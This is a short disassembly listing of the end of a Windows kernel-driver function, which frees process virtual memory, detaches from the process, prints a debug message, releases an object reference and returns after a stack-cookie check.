mov rcx, qword [rbp - 0x19]
and dword [rbp - 0x11], 0
call fcn.14000ea78
cmp dword [rbp - 0x11], 1
je 0x14000db24
mov r9d, dword [rbx + 0x18]
lea r8, [rbp - 9]
lea rdx, [rbp - 1]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwFreeVirtualMemory]
mov edi, eax
lea rcx, [rbp + 7]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
jmp 0x14000dbc9
lfence
xor edx, edx
mov dword [rsp + 0x20], eax
lea r9, [0x140010f30]
lea r8, [0x14000ef30]
lea ecx, [rdx + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov rcx, qword [rbp - 0x19]
test rcx, rcx
je 0x14000dbd8
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, edi
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.140002410
mov rbx, qword [rsp + 0xc0]
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret